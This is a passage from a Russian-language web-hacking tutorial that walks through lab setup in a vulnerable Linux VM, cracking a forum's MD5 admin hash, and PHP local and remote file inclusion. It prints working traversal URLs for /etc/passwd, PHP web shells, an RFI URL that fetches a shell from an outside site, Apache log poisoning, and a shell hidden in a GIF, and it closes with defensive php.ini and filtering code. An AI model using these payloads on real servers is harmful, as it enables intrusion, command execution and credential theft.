не отпуская ее. Соответствующее окно должно напоминать показанное на рис. 02.8. — клавишу G (подсказку с комбинацией клавиш Ctrl+G можно увидеть в левой нижней части окна виртуальной машины). Если же появится окно Removable Devices (у вас оно может и не появиться). Чтобы переключиться на виртуальную машину. просто щелкните в нем на кнопке OK. Если вы все ввели правильно. а затем. Далее в качестве пароля (password) введите toor (это просто root наоборот) и снова нажмите клавишу Enter. Подготовка Виртуальная машина будет создана и запущена. потому что в нашем случае установка Linux вообще не требуется — мы работаем с образа загрузочного диска. 02. Первый запуск созданной виртуальной машины Далее введите в нижнем регистре логин root и нажмите клавишу Enter.8. Когда захотите переключиться обратно из виртуальной машины на свой рабочий стол. Рис.22 02. появится системное приглашение: bt ~ # _ 22 . Далее в нижней части экрана щелкните на кнопке I Finished Installing («я закончил инсталляцию»). нажмите сначала клавишу Ctrl. просто нажмите клавиши Ctrl+Alt (Ctrl и Alt вместе).

а далее появится красивая графическая картинка. 02. Вид окна виртуальной машины по завершении загрузки среды KDE 23 . затем крестик сменится на желтую лапку пингвина Тукса (пингвин Тукс — это талисман Linux). У обычных пользователей в приглашении вместо символа # отображается знак $. будет довольно легко разобраться.9. Когда среда будет Рис.Подготовка 23 Здесь bt — это имя системы. Вот так: bt ~ # startx Если забудете команду. с которой вам. она есть в списке рекомендованных команд на экране. # — признак того. Стартует графическая среда Linux. потом на черном фоне появится курсор в виде крестика. Для запуска графической среды KDE введите команду startx и нажмите клавишу Enter. Сначала быстро промелькнут в консоли какие-то сообщения. а чтобы выполнить команду. показывающая ход загрузки. как пользователям Windows (а я полагаю. что вы суперпользователь. что большинство из вас работает именно с Windows). Мы сейчас находимся в консоли Linux. нажимается клавиша Enter. Здесь используется интерфейс командной строки Linux — команды печатаются на клавиатуре.

Позже вы можете самостоятельно установить дистрибутив Back Track 4. чтобы она при следующем запуске не загружалась снова. потому что по умолчанию установлена немецкая (de). После этого можно закрыть программу VMware Player.9.24 02. Подготовка готова к работе. окно виртуальной машины станет напоминать показанное на рис. многим из вас этот браузер знаком по Windows-версии. начав с создания новой виртуальной машины. вам потребуется в качестве версии Linux выбрать вариант Ubuntu. и только после этого щелкнуть на кнопке I Finished Installing («я закончил инсталляцию»). Если захотите выключить виртуальную машину. Я думаю. Для приостановки машины переключитесь с виртуальной машины на свой компьютер (Ctrl+Alt). рекомендую просто приостановить ее. Пока оставляю вас самостоятельно разбираться со средой KDE. К тому же это необходимо для сохранения измененных или добавленных нами данных. 02. Можете запустить браузер Firefox (внизу на панели третий значок слева) и «побродить» по Интернету. В результате виртуальная машина будет приостановлена. 24 . ведь при перезагрузке дистрибутива со сменного носителя все измененные данные теряются. Только не забудьте переключиться на американскую раскладку клавиатуры (первый значок в правой нижней части панели). только. затем в меню в строке заголовка окна виртуальной машины выберите команду VMPowerSuspend. как я уже отмечал. установить Linux.

SQL-инъекция  06. Новые возможности PHP-инклуда  09. Первый взлом  04. Межсайтовый скриптинг  07.Часть II Основы веб-хакинга  03. Слепая SQL-инъекция  08. PHP-инклуд  05. CRLF-инклуд 25 .

установленное на нашем локальном веб-сайте (http://localhost). Сразу введу термин баг (bug) — ошибка в программе. Кстати. что используется веб-сервер Apache (этот веб-сервер особенно характерен для *nix-систем. Для этого на рабочем столе дважды щелкните на значке HTTPD (расположен в верхнем левом углу). C или D) — чтонибудь вроде D:\\Inetpub\wwwroot\board51\. на которых эти сайты размещены. то есть ошибочного или небезопасного программирования. Для этого нужно ввести адрес сайта (вместе с префиксом http://) в поле Location и нажать клавишу Enter. хотя и с ошибками (рис. такие ошибки очень нежелательны. Чтобы иметь возможность проверять приводимые здесь примеры. Все. мы должны сделать так. языка PHP). что перед ним *nix-система. В этой главе мы взломаем приложение Board51.03 Первый взлом Веб-хакинг — это взлом веб-сайтов и веб-серверов. К счастью. так как они дают хакеру представление о структуре каталогов. страничка загружается. а являются неотъемлемым свойством самого языка программирования (например. Однако некоторые уязвимости не связаны с ошибками или беспечностью программистов. хотя существует 26 . Также по названию каталога можно догадаться. с помощью Konqueror можно видеть не только локальные файлы. Большинство веб-уязвимостей — следствие багов в веб-страницах. Кстати. но и веб-сайты. 03. В случае Windows имена каталогов были бы несколько иными и начинались бы обязательно с имени жесткого диска (например.1). Здесь мы подробно рассмотрим только некоторые из них.php Как видите. нужно просто запустить http-демон (веб-сервер Apache). Откроется окно браузера Konqueror (аналог проводника Windows). все необходимое в DVL уже есть. Дважды щелкните на значке Start HTTPD и затем в открывшемся диалоге щелкните на кнопке OK. чтобы наш Linux-компьютер превратился в веб-сервер. веб-сервер запущен. позволяя по их именам понять. Хакерские термины буду пояснять по ходу изложения. С помощью браузера (Firefox или Konqueror) перейдите по адресу http://localhost/webexploitation_package_02/board51/board. Уязвимости веб-сайтов делятся на несколько больших классов.

Известно. Позже я подробнее расскажу про хэши. их электронные адреса. Кто не знает. Firefox и т. которые можно просмотреть в браузере. не использующее базу данных. что Board51 — приложение. должен обязательно работать веб-сервер. хранятся в обычных файлах. а пока просто считайте. перестают отображаться. а операция получения хэша из пароля называется хешированием. 03. Вид главной странички приложения Board51 и его версия для Windows). в том числе данные о пользователях. как клиенту. для просмотра сайтов обязательно нужен браузер (Internet Explorer. Все данные.) С помощью браузера перейдите по адресу http://localhost/webexploitation_package_02/board51/boarddata/data/user. расположенные на данном компьютере. где размещен сайт. призванная предоставлять клиентам веб-страницы (веб-сайты) для просмотра. то веб-сайты. Если по какой-то причине веб-сервер перестает работать (например. в результате атаки хакеров).idx хранятся имена пользователей. Если вам. то на самом компьютере. (Для тех. п.1. кому необходимы более точные определения.Первый взлом 27 Рис. что пароль особым образом зашифрован. что хэш — это необратимо преобразованный пароль. номера ICQ и хэши паролей. Opera. В файле boarddata/data/user.). Однако вернемся к нашему примеру. веб-сервер — это программа. скажу.idx 27 .

вместо слова Benutzername ввести логин Admin (обязательно с большой буквы).php?lang=rus (рис. у нас имеется только один пользователь (Admin). может побродить по пунктам меню. 03. Мы тоже воспользуемся таким сервисом. Результат появляется почти мгновенно: 21232f297a57a5a743894a0e4a801fc3:admin Теперь можно вернуться на страничку http://localhost/webexploitation_ package_02/board51/board. Это адрес фирмы InsidePro. вы только что совершили свой первый хак! Кто знает немецкий.com/ index. нажмите в нем на кнопке Cancel. позволяющие узнать пароль по его хэшу. которая специализируется на программах для восстановления паролей. причем хэш его пароля (на рисунке выделен) выглядит следующим образом: 21232f297a57a5a743894a0e4a801fc3 В данном случае использован алгоритм хеширования MD5 (Message Digest 5). Поздравляю. 28 .2. 03. Содержимое файла user. Как видите. Чтобы обновить картинку. в поле со звездочками ввести пароль (admin) и щелкнуть на кнопке Anmelden. Первый взлом Рис.28 03.4). Появится страничка администратора (рис.insidepro.idx (рис. и щелкаем на ссылке Поиск (внизу).idx с данными о пользователях Board51 Вы увидите содержимое файла user.2). 03.3). в Интернете можно найти бесплатные онлайн-сервисы.php (см. показанный на картинке. верните курсор в адресную строку браузера и нажмите клавишу Enter. перейдя по адресу http://hash. 03. рис. способных восстанавливать пароли по их хэшам (мы рассмотрим некоторые из них позже).1). Существует много программ. 03. Если появится окно предупреждения (Warning). Кроме того. Копируем наш хэш в поле поиска. в поле CAPTCHA вводим код.

03. Возможно. 29 .4.3. Онлайн-сервис для восстановления «забытых» паролей Рис. я здесь повторю то. Эта информация понадобится в дальнейшем.Первый взлом 29 Рис. 03. что вы уже знаете. что такое IP-адрес и порт. Страничка администратора Board51 Теперь я хочу вам рассказать о том.

то каждый компьютер имеет IP-адрес. Порт однозначно определяет каждую программу на данном компьютере. используемый вашим браузером) содержимое веб-странички. работающей на этом же компьютере. Например. Если программа использует при работе какой-либо порт. Первый взлом IP-адрес — это уникальный адрес.0. На классификации сетей я не буду останавливаться. чтобы программа «знала». что данные из Сети пришли именно для нее. к локальному компьютеру всегда можно обратиться по IP-адресу 127. если в локальной сети используется протокол TCP/IP. в частности. уникальный в пределах этой сети. а не для другой программы. Перейдем к разбору некоторых распространенных уязвимостей. 30 . Кроме того. что этот порт «открыт». а порт — нужную нам программу. при записи эти числа принято разделять точками. Так.2. IP-адрес однозначно определяет компьютер. Есть специальные (зарезервированные) IP-адреса. который однозначно определяет любой компьютер в Интернете. Например. Порт — это уникальное число от 1 до 65 535. называемой веб-сервером. Порт нужен для того. веб-сервер обычно использует порт 80. что позволяет адресовать на сайте ваш запрос к программе. В стандарте IP версии 4 любой IP-адрес состоит из четырех чисел (каждое в диапазоне от 0 до 254). Веб-сервер. например: 192. когда мы обращаемся к программе. в ответ на запрос отправляет на ваш IP-адрес (на порт. ваш браузер обращается к сайту по IPадресу и указывает номер порта 80.0. можете найти ее в Интернете.1. сервер FTP — порт 21.168. работающую с Интернетом. когда вы открываете сайт в веб-браузере.11. говорят.30 03. работающей на другом компьютере. в свою очередь.

/. имеется функция include(). В случае успеха мы получим содержимое файла /etc/passwd../. include — включать в себя [что-либо]). Такое включение возможно не только в PHP. Инклуды делятся на локальные (Local File Include. 31 . К сожалению. Удаленным называется такой инклуд.site. Именно отсюда берет название инклуд (от англ. Дадим определение удаленному и локальному инклудам./. но и в других языках программирования./ — текущий каталог.. в котором путь для включаемого файла задан программно...php?page=. Этот символ в языке С и некоторых других языках программирования означает «конец строки». RFI)./etc/passwd%00 Здесь вместо слова [target] нужно подставить конкретное имя сайта. LFI) и удаленные (Remote File Include. а файла с таким именем в системе нет. Локальный PHP-инклуд Локальный инклуд позволяет хакеру загружать в браузер и просматривать файлы на сервере.. Локальным называется такой инклуд.  . Используется здесь. поэтому включение файлов по протоколам HTTP и FTP невозможно. Без этого символа окончательное имя загружаемого файла выглядело бы так: /etc/passwd./..com. на котором написано великое множество веб-сайтов./ — переход на уровень вверх. например www. Рассмотрим эти виды инклуда подробнее.php или ./.txt. Символы перед именем файла означают следующее:  . Пример: http://[target]/index. поэтому включение можно выполнять удаленно. например .04 PHP-инклуд В языке PHP. что характерно для всех Unix-подобных ОС. нулевой байт срабатывает не всегда. Символы %00 в конце имени файла — это шестнадцатеричный код для передачи по протоколу HTTP нулевого байта (null-byte).php. позволяющая включить в текст веб-страницы некоторый внешний файл. чтобы отсечь часто автоматически добавляемое программой расширение файла. в котором путь не определен.

Конечно. Я говорю «как минимум». это значение будет браться из параметра page.php"). PHP-инклуд Количество переходов на уровень вверх зависит от расположения файла index. Имя файла может быть другим./. пока не получим положительный результат. посмотреть. В поле для ввода текста введите следующий текст программы (без опечаток(!)): <? $page = ($_GET['page']). Последняя.php и сохраните файл. Вторая строка — это присваивание значения переменной с именем $page. Теперь запустите браузер (Firefox или Konqueror) и в адресной строке введите следующее: http://localhost/my. потому что включаться могут файлы не только из каталога htdocs. Однако сейчас. По мере того. Вот и все. Теперь сохраните файл (выбрав в главном меню команду FileSave) в каталог /usr/local/apache/htdocs. указанного в адресной строке браузера.php. чтобы загрузить любой файл с нашего (а в реальной жизни — с удаленного) компьютера через браузер. какие файлы открывались авторами DVL до вас). include(".32 04. Или можете щелкать на значках папок с именами каталогов. на просмотр которого у нашего пользователя есть право./etc/passwd%00 32 . ?> Что делает эта программа (веб-страничка)? Первая строка обозначает начало программы на языке PHP. соответственно. в частности. — конец программы. но и из вложенных в него каталогов.. Укажите имя файла my. что с ним разберетесь). мы должны перейти на уровень вверх (то есть указать последовательность символов . Значит. Щелкните на значке главного меню (аналог кнопки Пуск в Windows) и выберите в меню команду Damn Vulnerable LinuxToolsEditorsKate. в установленном у нас пакете DamnVulnerableLinux корневым каталогом веб-сервера является /usr/local/apache/htdocs/. не совсем любой файл. но расширение должно быть . мы создадим свое мини-приложение. если вы уверены. нажимайте клавишу Enter — постепенно будут открываться вложенные каталоги./) как минимум 4 раза. мы всегда можем подобрать нужное число переходов на уровень выше. Вторая переменная включает в текст нашей страницы файл из каталога htdocs (имя файла хранится в переменной $page) с добавлением в конце файла расширения . даже не зная точного расположения каталога веб-сервера. Но и этого кода достаточно. начиная с одного и постепенно прибавляя по одному. чтобы лучше понять механизм.php?page=. щелкнув на кнопке Save. открыв текстовый редактор Kate (или любой другой текстовый редактор./htdocs/$page. уязвимое для локального инклуда. В появившемся диалоге щелкните на кнопке Default Session (это позволит. чтобы добраться до корневого каталога. а только тот. В каталоге /usr/local/apache/htdocs/ у нас расположены папки различных заранее установленных уязвимых веб-приложений. Например. Впрочем.php. Однако в этом случае не забудьте заменить имя файла в последующем примере тем.php в системе. которое ввели вы.. как вы будете набирать имя каталога в строке вверху.

php?page=./. Мои поздравления! Вы только что совершили еще один хак! Однако файл /etc/passwd отображается в браузере не так./etc/passwd%00 http://localhost/my. 04./../etc/passwd%00 ./.. Появится сообщение об ошибке. как показано на рис. Рис. И так до тех пор.Локальный PHP-инклуд 33 Здесь localhost — стандартное имя нашего локального хоста (для сайта в Интернете оно выглядело бы примерно так: www. 04. как показано на рис.com)....php?page=./ в строке адреса.3). Но и от этого у хакеров есть верное средство.1./.. 33 . пока наконец не увидите вместо сообщения об ошибке содержимое файла /etc/passwd. 04.2../. 04.1. как надо: строки «спиливаются» воедино.site.. то есть поочередно вводите http://localhost/my. Вид окна браузера после первой попытки открыть файл /etc/passwd Но не останавливайтесь на этом! Последовательно добавляйте группу символов . Выберите в меню браузера команду ViewView Document Source (если это браузер Konqueror) или ViewPage Source (если это Firefox) и наслаждайтесь точно воспроизведенным файлом (рис.

passwd). Начинается этот файл с суперпользователя (то есть с пользователя root). система вычисляет 34 . как я уже отмечал.3. то есть необратимо преобразованные пароли.34 04. Пользователь root всегда имеет идентификатор (номер) пользователя 0 и идентификатор группы 0. Также там есть и другая интересная информация о пользователях. Буква x стоит вместо пароля пользователя. но в современных системах он хранится в файле /etc/shadow (в системе FreeBSD и некоторых других этот файл называется иначе: /etc/master. хранятся зашифрованные пароли.2. Нормальный вид файла /etc/passwd Чем же так интересен для хакеров файл /etc/passwd? Тем. что обратно «расшифровать» пароль невозможно. Содержимое файла /etc/passwd на вашем компьютере Рис. 04. точнее — хэши паролей. что он содержит имена (логины) всех пользователей системы. Когда пользователь при входе в систему вводит свой пароль. В файле /etc/shadow. Раньше здесь указывался пароль пользователя. Что означает «необратимо преобразованный»? Это означает. 04. PHP-инклуд Рис.

/. что при этом произойдет./. Однако тогда любой хакер сможет просмотреть хэши паролей запросом вида http://localhost/my. 35 . то почему? Какой файл пытается открыть браузер в этом случае? СОВЕТ См. выполняется с правами простого пользователя. которые будут выполняться на атакуемой системе. позволяющую нам из адресной строки браузера вводить *nixкоманды. сообщение об ошибке в окне браузера.. которая выводит список файлов текущего каталога.php?page=. к которой принадлежит root. поэтому мы получаем ошибку Permission denied (Нет разрешения. хотя мы вошли в систему как пользователь root. В заключение в качестве упражнения попробуйте убрать символы %00 (нулевой байт) из работающего запроса http://localhost/my. Это сделано для того. Интересно././. то удаленный.php?inc=http://narod. Если хэши совпадают.. веб-сервер Apache.. Загрузится ли файл /etc/shadow..txt&cmd=ls В данном случае файл с хакерской программкой называется cmd./. система санкционирует вход пользователя./etc/shadow%00 В нашей системе мы этого сделать не можем../. или глобальный. существуют средства восстановления «забытых» паролей по их хэшам (мы рассмотрим их в главе 0С)./... В этом примере выполнится команда ls. Загружаемый с хакерского сайта файл может содержать небольшую программу на языке PHP.ru/cmd.Удаленный PHP-инклуд 35 его хэш и проверяет. Удаленный PHP-инклуд Если локальный инклуд позволяет только просматривать файлы. То есть хакер может выполнять любые команды на целевом компьютере при помощи запроса вида http://[target]/inj./. В нормальных системах права на чтение файла /etc/shadow есть только у пользователя root или реже у группы пользователей.ru. инклуд дает возможность загружать файлы с других вебсайтов. чтобы простой пользователь не смог увидеть даже хэши чужих паролей. и если нет. совпадает ли он с хранящимся в файле /etc/shadow. потому что. И это вполне оправданная мера безопасности./.. который загружает наш файл.txt и расположен он по адресу http://narod. Однако если вы дадите права на чтение файла /etc/shadow всем пользователям. что в некоторых дистрибутивах Linux почему-то права просмотра файла /etc/shadow даются по умолчанию всем пользователям. потому что. то он без проблем будет загружаться в браузер.. как говорилось ранее./etc/passwd%00 Посмотрите.php?page=./. отвергнуто)..

php. что и inj.4.php. в том числе с другого сайта.php?cmd=ls Если мы все сделали правильно. Теперь создадим хакерский файл. что какой-то файл не найден или не может быть открыт. то в окне браузера будет выведено сообщение Parse error: с указанием типа ошибки. Если же есть ошибки в файле inj. Функция system() выполняет команду системы. для которого должно сохраняться исходное форматирование (чтобы браузер не объединял несколько выводимых строк в одну). введем в адресной строке браузера следующее: http://localhost/inj. Теперь. чтобы можно было загрузить абсолютно любой файл. содержащуюся в переменной $cmd. по протоколу FTP). 04. Обращу ваше внимание на то. Если у вас выдается сообщение о том. и далее показан результат ее выполнения — список файлов и подкаталогов текущего каталога. как показать результат ее выполнения. Команда print выводит значение переменной $cmd — просто распечатывает жирным шрифтом введенную команду перед тем. Вы можете не набирать заново весь текст — достаточно просто изменить файл my.php и сохранить его под именем inj. В реальной жизни он находится на другом сайте в Интернете.36 04. что я просто убрал из функции include путь к каталогу htdocs и расширение файла . ?> Это и есть наша уязвимая веб-страничка. ?> </pre> Сохраним файл с именем cmd. полного имени файла. Жирным шрифтом выводится сама команда ls. и выводит результат в окно браузера. у нас отобразится что-то похожее на рис. include("$page"). Создадим в редакторе новый файл с текстом <pre> <?php print("<b>$cmd</b>\n").php. где находится файл my. Но у нас для простоты он будет находиться тоже на локальном компьютере.php?page=http://localhost/cmd.php (FileSave As) в том же каталоге. к которому у хакера есть доступ на запись (например. проверьте правильность ввода адресной строки. PHP-инклуд Для этого примера создадим в редакторе новый файл (FileNew) со следующими командами: <? $page = ($_GET['page']). и номера строки с ошибкой. system($cmd). Сверьтесь с текстом книги и последовательно исправьте все найденные ошибки. Здесь теги языка HTML <pre> и </pre> задают начало и конец участка.php. 36 .php или cmd. содержащего ошибку.php в том же каталоге. позволяющий нам выполнять команды системы. когда приготовления закончены.

который мы сейчас получили к уязвимой системе. Доступ. что показывается в параметре groups. 04. Отмечу. выводит содержимое текущего каталога. вместо ls попробуйте ввести другие *nix-команды. введите команду uname (выдает имя Unix-машины. Заметим. в отличие от системы Windows. принадлежащий группе nogroup (с идентификатором группы gid=99). в данном случае — тип операционной системы). что на большинстве Linux-систем веб-сервер выполняется именно с правами пользователя nobody. которая. Введите также команду dir.). Параметры в стиле Unix обычно начинаются с черточки (. Также попробуйте ввести команды pwd (print working directory — напечатать рабочий каталог) и id (идентификатор текущего пользователя).exe. Помимо этого. shell — оболочка) — это системная *nix-программа. Такой доступ зачастую является первым шагом к получению полноценного шелла. о котором речь пойдет в последующих главах. Последняя команда сообщает о том. Шеллов в *nix несколько. как и команда ls. позволяющая пользователю выполнять команды системы через интерфейс командной строки (консоли). Вообще говоря. что *nix-команды часто имеют параметры. шелл (от англ. Результат выполнения команды ls посредством удаленного инклуда Если у вас все получилось. Например. носит название вебшелл.) и отделяются 37 .Удаленный PHP-инклуд 37 Рис. иногда с двух подряд (-. но в несколько столбцов. наш пользователь может являться членом и других групп. что мы работаем как пользователь nobody (с идентификатором пользователя uid=99). в которой есть только CMD.4. Наиболее популярные *nix-шеллы носят названия bash и sh.

На взгляд обычного пользователя. вторая — права группы. Если вместо буквы стоит прочерк. Вверху выводится общее количество файлов и каталогов (total). Примеры: -rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file drwx-----.  x — выполнение (execute). Рассмотрим немного другой текст веб-шелла: <pre><? system($_GET['cmd']). а в примерах. но работает! Результат можно видеть на рис. пользователи bob и sam). у файла на этом месте стоит прочерк (-). то этого права у пользователя нет.5 поподробнее. Давайте рассмотрим рис.  w — запись (write).5 это пользователь root. Порядок следования параметров часто не имеет значения. а несколько однобуквенных параметров. которую можно использовать в качестве разделителя (пробела). 04. у нас на рис. так что можно напечатать и ls -al вместо ls -la. причем первая тройка символов обозначает права владельца. Как же хакеры решают эту проблему? В Linux есть переменная окружения $IFS. А что значат надписи вида drwxr-xr-x? Буква d обозначает каталог. команда ls -la выводит информацию о файлах и каталогах в «длинном» формате. Следующая 38 . Но вот проблема — наш простейший веб-шелл не распознает пробелы. Если вы попробуете ввести команду с пробелами. Потом перечисляются права доступа.2 sam A1 2 May 01 12:01 directory То есть первая тройка символов показывает права доступа самого владельца файла или каталога (имя владельца напечатано немного дальше. PHP-инклуд пробелом от основной команды. третья — права прочих пользователей. Тогда наша команда примет вид ls$IFS-la. 04. команда uname -a выводит подробную информацию о Unix-машине. очень странно. а также показывает скрытые файлы и каталоги (в *nix имена скрытых файлов и каталогов начинаются с точки). Например. у нас шелл воспринял бы знак + вместо пробела. программа выдаст сообщение об ошибке.5. Можете поэкспериментировать сами. Часто можно после черточки вводить не один.38 04.?></pre> Если бы мы ввели эту команду. К примеру. а сами символы означают следующее:  r — чтение (read). ПРИМЕЧАНИЕ Между системой Linux и другими версиями Unix существуют небольшие различия. соответственно. и команда ls -la выглядела бы как ls+-la. и иногда одинаковые по смыслу параметры некоторых команд могут обозначаться разными буквами или вообще отсутствовать в какой-то системе. 04.

Если там указано три прочерка. что abc у нас является каталогом (d). записи и исполнения (цифра 7 ) самому владельцу. к которой принадлежит владелец файла. Владелец существующего файла (или пользователь root) командой chown может назначить нового владельца. Например. владелец имеет полные права (rwx).5 это группа root (имя группы выводится следом за именем пользователя). 04. Владельцем файла изначально является его создатель. Права на доступ к текущему каталогу можно посмотреть с помощью команды ls -lad. Владелец может в любое время изменить права доступа к принадлежащему ему файлу (каталогу) командой chmod.5. Также видно. глядя на следующую строку. к которой принадлежит владелец. а прочие пользователи имеют право только на чтение (r--). то прочие пользователи вообще не имеют доступа к файлу. 04. Например. группа имеет права на чтение и исполнение. Результат выполнения команды ls -la тройка символов показывает права на этот файл (каталог) для группы. И последняя тройка символов — это права других пользователей. но не имеет права на запись (r-x).10 root root 107 Jan 18 2009 abc Кроме того. принадлежит пользователю root и группе root: drwxr-xr-. права 39 . что каталог создан 18 января 2009 года (Jan 18 2009). не входящих в группу. У нас на рис. можно сказать.Удаленный PHP-инклуд 39 Рис. следующая команда дает права чтения.

в нашем веб-шелле команду надо набирать так: cat$IFS/etc/passwd или в переделанном варианте так: cat+/etc/passwd. параметр path) имеется уязвимость. Суперпользователь (пользователь root) может изменить права доступа к любому файлу вне зависимости от того.php. 4 — только чтение. какие цифры следует вводить. разумеется. 6 — чтение и запись. 2 — только запись.php?path=http://localhost/cmd. 5 — чтение и исполнение. 3 — запись и исполнение.inc. изучите следующий перечень: 0 — никаких разрешений. Вернемся к веб-шеллу и командам системы. вторая — группы и третья — прочих пользователей. Чтобы вы знали. например. Конечно. а также имеете некоторое представление о правах доступа в *nix. Например. 40 . такую команду: http://localhost/webexploitation_package_02/nabopoll/ survey. Реальный пример PHP-инклуда — движок NaboPoll В установленном в нашей системе движке для проведения опросов NaboPoll (в модуле survey. Краткий список команд можно найти в приложении 1. команда cat /etc/passwd выведет на экран файл /etc/passwd. запись и исполнение).php?cmd=ls%00 Результат показан на рис. 1 — только исполнение. Вы можете посмотреть командой cat содержимое любого файла. первая цифра задает права владельца.inc. PHP-инклуд чтения и исполнения (цифра 5) — группе и прочим пользователям (последняя цифра 5): chmod 755 <имя файла> Как вы уже поняли. кем он создан.6. Теперь вы знаете некоторые наиболее часто употребляемые хакерами *nixкоманды. и локальный) инклуд файлов. Для эксплуатации данной уязвимости наберите в адресной строке браузера. 7 — все права (чтение. 04.40 04. допускающая глобальный (а также. к которому у вас есть доступ на чтение.

что Apache ведет лог-файлы httpd-access. мы можем просмотреть access_log через созданное ранее мини-приложение./logs/access_log%00 На экране должно отобразиться содержимое файла access_log. уязвимое для локального инклуда.php?page=. 04. а запросы с ошибкой. помимо этого. Таким образом.0.0..Создание хакерского веб-шелла в логах Apache через локальный инклуд 41 Рис. Известно. Вводим в браузере адрес: httpd://localhost/index. Выполнение команды ls через уязвимость в одном из модулей NaboPoll Создание хакерского веб-шелла в логах Apache через локальный инклуд Рассмотрим более изощренное применение локальной инъекции.?></pre> HTTP/1..log и httpd-error. еще и в error.1 80 В ответ на приглашение программы вводим следующее: GET <pre><?passthru($_GET['cmd']).log. действующего через логи (журналы) сервера Apache. причем туда записываются все запросы к веб-серверу (нормальные запросы попадают только в access.log)./.6. а именно — создание веб-шелла.1 41 . Далее в консоли по протоколу telnet подключаемся к порту 80 локального компьютера: telnet 127./. а находятся они в каталоге /usr/local/apache/logs. У нас в DVL файлы журналов называются немного иначе: access_log и error_log.log.

Connected to localhost.[30/Jun/2010:13:00:40 +0200] "GET <pre><?passthru($_GET['cmd']). передаваемые вызовом GET. В этом случае вам потребуется ввести веб-шелл в поле Referer или User-Agent.1 Рис.0. как показано далее (в нашей системе это проделывать не надо!): # telnet 127. пропишется в журналы access_log и error_log примерно таким образом: файл error_log: [error] [client 127.0.0. интерпретатор PHP дойдет до первой записи в журнале. конечно. а именно <pre><?passthru ($_GET['cmd']).1 42 . фильтруются. но в реальной жизни такое невозможно.42 04. так как.1 80 Trying 127. выдаст ошибку.0.1. PHP-инклуд Хотя после нажатия клавиши Enter появится сообщение об ошибке 400 (рис.1] Invalid URI in request GET <pre><?passthru ($_GET['cmd']).1 файл access-log: 127.0. Escape character is '^]'.0. GET / HTTP/1.?></pre>.?></pre> HTTP/1.1 — . В нашей системе мы. В некоторых системах параметры. можем подправить файл access_log.0. даже если со второго раза вы все введете правильно.. а последующие команды исполнять не будет.0. при этом программный код нашего веб-шелла.7). 04. 04..7. Вставляем веб-шелл в логи Apache Ошибаться при вводе команд веб-шелла нельзя.?> </pre> HTTP/1.

04. Можно вводить несколько команд через точку с запятой.1 libwww-FM/2. а после него — результат выполнения команды (рис.. Аналогично можно передавать код в поле User-Agent. только для другого лог-файла (к примеру. если на сервере работает ftpd (сервер доступа по протоколу FTP). Работа веб-шелла в журнале access_log 43 .8.1 Connection: Close Referer: http://127.5rel.8.0./logs/access_log%00&cmd=ls+-la Наш веб-шелл вместо пробела понимает знак +.Создание хакерского веб-шелла в логах Apache через локальный инклуд 43 Accept: */* Accept-Language: en Accept-Encoding: deflate User-Agent: Lynx/2./.?></pre> После этого надо два раза нажать клавишу Enter. 04.php?page=. код Рис. поэтому мы ввели команду ls -la.8). Кроме того. В данном случае мы передали наш код в поле Referer. то можно проделать примерно то же.1/<pre><?passthru($_GET['cmd']). Далее можно вводить команды в браузере: httpd://localhost/index.0. С файлом ошибок error_log поступаем аналогично.0. что и с логами Apache.0. После этого на экране отобразится содержимое файла access_log.14 Host: 127.

переименовываем в avatar./smileys/avatar.php?page=.log /var/log/apache/error_log /var/log/apache/error.log /var/log/access. Предположим. можно просто взять реальную картинку и добавить наш код в ее конец при помощи какого-нибудь двоичного редактора или даже Блокнота. Еще есть вариант.?><pre>.log /logs/error_log /logs/access_log /var/log/error_log /var/log/access_log /var/log/error. связанный с включением кода в изображение. Такие манипуляции можно выполнять и с файлами. Вот небольшой список: /logs/error.log /logs/access. которые создают гостевые книги.. Рассмотрим пример с локальным инклудом.44 04./. рекомендуется перечислить все допустимые названия страниц в программе c использованием инструкции множественного выбора (switch case).gif картинкой. log и т. а далее делаем запрос на форум: http://[target]/forum. Реальное местоположение логов В различных системах журналы веб-сервера могут находиться в разных каталогах и называться по-разному.gif%00&cmd=ls В результате мы получаем листинг текущего каталога. имеется некий форум. форумы и прочие скрипты.log /var/log/httpd/error_log /var/log/httpd/access_log Защита от удаленного инклуда Чтобы защититься от удаленного инклуда. Берем наш веб-шелл <pre><? passthru($_GET['cmd']). Если же на форуме проверяется. Вот соответствующий PHP-код: 44 . PHP-инклуд веб-шелла передать в качестве логина).log /var/www/logs/access_log /var/www/logs/access. является ли файл avatar.log /var/log/apache/access_log /var/log/apache/access.log /var/log/httpd/access. сохраняющие информацию в файлах с расширениями txt.gif и закачиваем.log /var/www/logs/error_log /var/www/logs/error.log /var/log/httpd/error. д.

break. $val) = each($array)) { if (is_string($val)) $array[$key] = stripslashes($val). в результате у хакера не будет доступа к файлу /etc/passwd и ему подобным Защита от локального инклуда Вот небольшой пример PHP-кода.php").php"). break. case 'page2': include ("pages/page2. elseif (is_array($val)) $array[$key] = stripslashes_for_array($val).Защита от локального инклуда 45 <?php global $page.php").php"). } ?> Также многие программисты отфильтровывают нежелательные символы с помощью функции str_replace(). настоятельно рекомендуется отредактировать файл php. break. default: include ("pages/error. Кроме того. break. позволяющего защититься от локального инклуда: <?php function stripslashes_for_array(&$array) { reset($array).ini следующим образом: allow_url_include = Off allow_url_fopen = Off register_globals = Off magic_quotes_gpc=On safe_mode = On // // // // // // запрещаем удаленно инклудить файлы запрещаем fopen открывать ссылки отключаем инициализацию глобальных переменных защита от "ядовитого нуля" (%00) включаем режим safe_mode. break. switch ($page) { case '': include ("pages/main. case 'index': include ("pages/main. case 'page1': include ("pages/page1.php"). while (list($key. } продолжение  45 .

} include("include". Отфильтровываем недопустимые символы ('/' и '. } if(isset($_GET['file']))$file=$_GET['file'].$file). PHP-инклуд return $array. Далее проверяем.''. if(!file_exists("include". $file=str_replace('. Также полезно сделать логи веб-сервера доступными пользователю.'.'/'.46 04. установлено ли значение элемента массива.$file). else $file=''. которая удаляет обратные слэши. } $file=str_replace('/'. от имени которого выполняется веб-сервер. 46 . только для записи.$file. Затем включаем нужный файл.'.'/'. то присваиваем значение переменной $file='news'. Если файла не существует (проверяем с помощью функции file_exists()).$file.''.php')||$file =='index') { $file='news'.'. } if (!get_magic_quotes_gpc()) { stripslashes_for_array($_POST). Это исключит применение инклуда к данным логам. else { if(isset($_POST['file']))$file=$_POST['file'].php'). stripslashes_for_array($_GET).') функцией str_replace(). но не для чтения. ?> Что здесь происходит? Каждый элемент массива проверяется функцией stripslashes().

